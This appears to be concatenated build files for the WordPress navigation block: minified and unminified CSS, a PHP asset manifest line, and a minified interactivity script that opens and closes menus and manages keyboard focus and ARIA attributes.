svg{stroke:currentColor}button.wp-block-navigation-item__content{background-color:initial;border:none;color:currentColor;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;line-height:inherit;text-align:left;text-transform:inherit}.wp-block-navigation-submenu__toggle{cursor:pointer}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{padding-left:0;padding-right:.85em}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{margin-left:-.6em;pointer-events:none}.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){padding:0}.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{gap:inherit}:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){padding:.5em 1em}:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){padding:.5em 1em}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{left:auto;right:0}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:-1px;right:-1px}@media (min-width:782px){.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:auto;right:100%}}.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{background-color:#fff;border:1px solid #00000026}.wp-block-navigation.has-background .wp-block-navigation__submenu-container{background-color:inherit}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{color:#000}.wp-block-navigation__container{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial);list-style:none;margin:0;padding-left:0}.wp-block-navigation__container .is-responsive{display:none}.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{flex-grow:1}@keyframes overlay-menu__fade-in-animation{0%{opacity:0;transform:translateY(.5em)}to{opacity:1;transform:translateY(0)}}.wp-block-navigation__responsive-container{bottom:0;display:none;left:0;position:fixed;right:0;top:0}.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){color:inherit}.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open{animation:overlay-menu__fade-in-animation .1s ease-out;animation-fill-mode:forwards;background-color:inherit;display:flex;flex-direction:column;overflow:auto;padding:clamp(1rem,var(--wp--style--root--padding-top),20rem) clamp(1rem,var(--wp--style--root--padding-right),20rem) clamp(1rem,var(--wp--style--root--padding-bottom),20rem) clamp(1rem,var(--wp--style--root--padding-left),20em);z-index:100000}@media (prefers-reduced-motion:reduce){.wp-block-navigation__responsive-container.is-menu-open{animation-delay:0s;animation-duration:1ms}}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-justification-setting,inherit);display:flex;flex-direction:column;flex-wrap:nowrap;overflow:visible;padding-top:calc(2rem + 24px)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{justify-content:flex-start}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{border:none;height:auto;min-width:200px;opacity:1;overflow:initial;padding-left:2rem;padding-right:2rem;position:static;visibility:visible;width:auto}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{gap:inherit}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{padding-top:var(--wp--style--block-gap,2em)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{padding:0}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{align-items:var(--navigation-layout-justification-setting,initial);display:flex;flex-direction:column}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{background:#0000!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:auto;right:auto}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){background-color:inherit;display:block;position:relative;width:100%;z-index:auto}.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:0}}.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{background-color:#fff}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{color:#000}.wp-block-navigation__toggle_button_label{font-size:1rem;font-weight:700}.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{background:#0000;border:none;color:currentColor;cursor:pointer;margin:0;padding:0;text-transform:inherit;vertical-align:middle}.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{fill:currentColor;display:block;height:24px;pointer-events:none;width:24px}.wp-block-navigation__responsive-container-open{display:flex}.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{font-family:inherit;font-size:inherit;font-weight:inherit}@media (min-width:600px){.wp-block-navigation__responsive-container-open:not(.always-shown){display:none}}.wp-block-navigation__responsive-container-close{position:absolute;right:0;top:0;z-index:2}.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{font-family:inherit;font-size:inherit;font-weight:inherit}.wp-block-navigation__responsive-close{width:100%}.has-modal-open .wp-block-navigation__responsive-close{margin-left:auto;margin-right:auto;max-width:var(--wp--style--global--wide-size,100%)}.wp-block-navigation__responsive-close:focus{outline:none}.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{box-sizing:border-box}.wp-block-navigation__responsive-dialog{position:relative}.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:46px}@media (min-width:782px){.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:32px}}html.has-modal-open{overflow:hidden}<?php return array('dependencies' => array(), 'version' => 'c7aadf427ad3311e0624');
.editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-right:0;margin-top:0;padding-right:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{display:flex;flex-direction:column;opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{background:#1e1e1e;border-radius:2px;color:#fff;margin-left:0;margin-right:auto;padding:0;width:24px}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{align-items:center;border-radius:4px;display:flex;height:30px;margin:0 auto;padding:3px;position:relative}.block-library-colors-selector .block-library-colors-selector__state-selection{border-radius:11px;box-shadow:inset 0 0 0 1px #0003;height:22px;line-height:20px;margin-left:auto;margin-right:auto;min-height:22px;min-width:22px;padding:2px;width:22px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:left;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:initial;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{background:none;box-shadow:none;color:inherit;min-height:0;outline:none;padding:0}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder__preview{align-items:center;background:#0000;color:currentColor;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;min-width:96px}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview:before{border:1px dashed;border-radius:2px;border-radius:inherit;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview:before:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview>svg{fill:currentColor}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{align-items:flex-start;flex-direction:row;padding:6px 8px}.wp-block-navigation-placeholder__controls{background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;float:right;position:relative;width:100%;z-index:1}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{align-items:flex-start;flex-direction:column}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{height:36px;margin-left:12px}.wp-block-navigation-placeholder__actions__indicator{align-items:center;display:flex;height:36px;justify-content:flex-start;line-height:0;margin-right:4px;padding:0 0 0 6px}.wp-block-navigation-placeholder__actions__indicator svg{margin-left:4px;fill:currentColor}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;gap:6px;height:100%}.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-left:0}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{background-color:#1e1e1e;border:0;height:100%;margin:auto 0;max-height:16px;min-height:1px;min-width:1px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:155px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{right:36px;top:93px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{right:160px}}@media (min-width:782px){.has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:141px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:141px}.is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{left:280px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{right:0;top:155px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:61px}.is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:109px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:109px}body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{bottom:0;left:0;right:0;top:0}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{color:inherit;height:auto;padding:0}.components-heading.wp-block-navigation-off-canvas-editor__title{margin:0}.wp-block-navigation-off-canvas-editor__header{margin-bottom:8px}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{margin-top:0}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation-delete-menu-button{justify-content:center;margin-bottom:16px;width:100%}.components-button.is-link.wp-block-navigation-manage-menus-button{margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{align-items:center;background-color:#f0f0f0;display:flex;height:64px;justify-content:space-between;margin-bottom:12px;padding:0 24px;width:100%}.wp-block-navigation__overlay-menu-preview.open{background-color:#fff;box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid #0000}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}.wp-block-navigation__navigation-selector{margin-bottom:16px;width:100%}.wp-block-navigation__navigation-selector-button{border:1px solid;justify-content:space-between;width:100%}.wp-block-navigation__navigation-selector-button__icon{flex:0 0 auto}.wp-block-navigation__navigation-selector-button__label{flex:0 1 auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-navigation__navigation-selector-button--createnew{border:1px solid;margin-bottom:16px;width:100%}.wp-block-navigation__responsive-container-open.components-button{opacity:1}.wp-block-navigation__menu-inspector-controls{overflow-x:auto;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;will-change:transform}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{height:12px;width:12px}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{background-color:initial}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{background-color:#949494}.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{scrollbar-color:#949494 #0000}@media (hover:none){.wp-block-navigation__menu-inspector-controls{scrollbar-color:#949494 #0000}}.wp-block-navigation__menu-inspector-controls__empty-message{margin-right:24px}import*as e from"@wordpress/interactivity";var t={d:(e,n)=>{for(var o in n)t.o(n,o)&&!t.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:n[o]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const n=(e=>{var n={};return t.d(n,e),n})({getContext:()=>e.getContext,getElement:()=>e.getElement,store:()=>e.store}),o=["a[href]",'input:not([disabled]):not([type="hidden"]):not([aria-hidden])',"select:not([disabled]):not([aria-hidden])","textarea:not([disabled]):not([aria-hidden])","button:not([disabled]):not([aria-hidden])","[contenteditable]",'[tabindex]:not([tabindex^="-"])'];document.addEventListener("click",(()=>{}));const{state:l,actions:c}=(0,n.store)("core/navigation",{state:{get roleAttribute(){return"overlay"===(0,n.getContext)().type&&l.isMenuOpen?"dialog":null},get ariaModal(){return"overlay"===(0,n.getContext)().type&&l.isMenuOpen?"true":null},get ariaLabel(){const e=(0,n.getContext)();return"overlay"===e.type&&l.isMenuOpen?e.ariaLabel:null},get isMenuOpen(){return Object.values(l.menuOpenedBy).filter(Boolean).length>0},get menuOpenedBy(){const e=(0,n.getContext)();return"overlay"===e.type?e.overlayOpenedBy:e.submenuOpenedBy}},actions:{openMenuOnHover(){const{type:e,overlayOpenedBy:t}=(0,n.getContext)();"submenu"===e&&0===Object.values(t||{}).filter(Boolean).length&&c.openMenu("hover")},closeMenuOnHover(){const{type:e,overlayOpenedBy:t}=(0,n.getContext)();"submenu"===e&&0===Object.values(t||{}).filter(Boolean).length&&c.closeMenu("hover")},openMenuOnClick(){const e=(0,n.getContext)(),{ref:t}=(0,n.getElement)();e.previousFocus=t,c.openMenu("click")},closeMenuOnClick(){c.closeMenu("click"),c.closeMenu("focus")},openMenuOnFocus(){c.openMenu("focus")},toggleMenuOnClick(){const e=(0,n.getContext)(),{ref:t}=(0,n.getElement)();window.document.activeElement!==t&&t.focus();const{menuOpenedBy:o}=l;o.click||o.focus?(c.closeMenu("click"),c.closeMenu("focus")):(e.previousFocus=t,c.openMenu("click"))},handleMenuKeydown(e){const{type:t,firstFocusableElement:o,lastFocusableElement:u}=(0,n.getContext)();if(l.menuOpenedBy.click){if("Escape"===e?.key)return c.closeMenu("click"),void c.closeMenu("focus");"overlay"===t&&"Tab"===e.key&&(e.shiftKey&&window.document.activeElement===o?(e.preventDefault(),u.focus()):e.shiftKey||window.document.activeElement!==u||(e.preventDefault(),o.focus()))}},handleMenuFocusout(e){const{modal:t,type:o}=(0,n.getContext)();(null===e.relatedTarget||!t?.contains(e.relatedTarget)&&e.target!==window.document.activeElement&&"submenu"===o)&&(c.closeMenu("click"),c.closeMenu("focus"))},openMenu(e="click"){const{type:t}=(0,n.getContext)();l.menuOpenedBy[e]=!0,"overlay"===t&&document.documentElement.classList.add("has-modal-open")},closeMenu(e="click"){const t=(0,n.getContext)();l.menuOpenedBy[e]=!1,l.isMenuOpen||(t.modal?.contains(window.document.activeElement)&&t.previousFocus?.focus(),t.modal=null,t.previousFocus=null,"overlay"===t.type&&document.documentElement.classList.remove("has-modal-open"))}},callbacks:{initMenu(){const e=(0,n.getContext)(),{ref:t}=(0,n.getElement)();if(l.isMenuOpen){const n=t.querySelectorAll(o);e.modal=t,e.firstFocusableElement=n[0],e.lastFocusableElement=n[n.length-1]}},focusFirstElement(){const{ref:e}=(0,n.getElement)();if(l.isMenuOpen){const t=e.querySelectorAll(o);t?.[0]?.focus()}}}},{lock:!0});.editor-styles-wrapper .wp-block-navigation ul{
  margin-bottom:0;
  margin-left:0;
  margin-top:0;
  padding-left:0;
}
.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{
  margin:revert;
}

.wp-block-navigation-item__label{
  display:inline;
}
.wp-block-navigation-item,.wp-block-navigation__container{
  background-color:inherit;
}

.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{
  opacity:0;
  visibility:hidden;
}

.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{
  display:flex;
  opacity:1;
  visibility:visible;
}

.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{
  opacity:1;
  visibility:visible;
}

.is-editing>.wp-block-navigation__container{
  display:flex;
  flex-direction:column;
  opacity:1;
  visibility:visible;
}

.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{
  opacity:1;
  visibility:hidden;
}
.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{
  visibility:visible;
}

.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{
  display:block;
  position:static;
  width:100%;
}
.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{
  background:#1e1e1e;
  border-radius:2px;
  color:#fff;
  margin-left:auto;
  margin-right:0;
  padding:0;
  width:24px;
}

.wp-block-navigation__submenu-container .block-list-appender{
  display:none;
}
.block-library-colors-selector{
  width:auto;
}
.block-library-colors-selector .block-library-colors-selector__toggle{
  display:block;
  margin:0 auto;
  padding:3px;
  width:auto;
}
.block-library-colors-selector .block-library-colors-selector__icon-container{
  align-items:center;
  border-radius:4px;
  display:flex;
  height:30px;
  margin:0 auto;
  padding:3px;
  position:relative;
}
.block-library-colors-selector .block-library-colors-selector__state-selection{
  border-radius:11px;
  box-shadow:inset 0 0 0 1px #0003;
  height:22px;
  line-height:20px;
  margin-left:auto;
  margin-right:auto;
  min-height:22px;
  min-width:22px;
  padding:2px;
  width:22px;
}
.block-library-colors-selector .block-library-colors-selector__state-selection>svg{
  min-width:auto !important;
}
.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{
  color:inherit;
}

.block-library-colors-selector__popover .color-palette-controller-container{
  padding:16px;
}
.block-library-colors-selector__popover .components-base-control__label{
  height:20px;
  line-height:20px;
}
.block-library-colors-selector__popover .component-color-indicator{
  float:right;
  margin-top:2px;
}
.block-library-colors-selector__popover .components-panel__body-title{
  display:none;
}

.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{
  background-color:#1e1e1e;
  color:#fff;
}
.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{
  padding:0;
}

.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{
  background-color:initial;
  color:#1e1e1e;
}
@keyframes loadingpulse{
  0%{
    opacity:1;
  }
  50%{
    opacity:.5;
  }
  to{
    opacity:1;
  }
}
.components-placeholder.wp-block-navigation-placeholder{
  background:none;
  box-shadow:none;
  color:inherit;
  min-height:0;
  outline:none;
  padding:0;
}
.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{
  font-size:inherit;
}
.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{
  margin-bottom:0;
}
.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{
  color:#1e1e1e;
}

.wp-block-navigation-placeholder__preview{
  align-items:center;
  background:#0000;
  color:currentColor;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  min-width:96px;
}
.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{
  display:none;
}
.wp-block-navigation-placeholder__preview:before{
  border:1px dashed;
  border-radius:2px;
  border-radius:inherit;
  bottom:0;
  content:"";
  display:block;
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-navigation-placeholder__preview:before:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-navigation-placeholder__preview>svg{
  fill:currentColor;
}

.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{
  min-height:90px;
}

.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{
  min-height:132px;
}

.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{
  align-items:flex-start;
  flex-direction:row;
  padding:6px 8px;
}

.wp-block-navigation-placeholder__controls{
  background-color:#fff;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  display:none;
  float:left;
  position:relative;
  width:100%;
  z-index:1;
}
.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{
  display:flex;
}
.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{
  display:none;
}
.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{
  align-items:flex-start;
  flex-direction:column;
}
.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{
  display:none;
}
.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{
  height:36px;
  margin-right:12px;
}

.wp-block-navigation-placeholder__actions__indicator{
  align-items:center;
  display:flex;
  height:36px;
  justify-content:flex-start;
  line-height:0;
  margin-left:4px;
  padding:0 6px 0 0;
}
.wp-block-navigation-placeholder__actions__indicator svg{
  margin-right:4px;
  fill:currentColor;
}

.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{
  flex-direction:row !important;
}

.wp-block-navigation-placeholder__actions{
  align-items:center;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  gap:6px;
  height:100%;
}
.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{
  margin-right:0;
}
.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{
  background-color:#1e1e1e;
  border:0;
  height:100%;
  margin:auto 0;
  max-height:16px;
  min-height:1px;
  min-width:1px;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{
    display:none;
  }
}

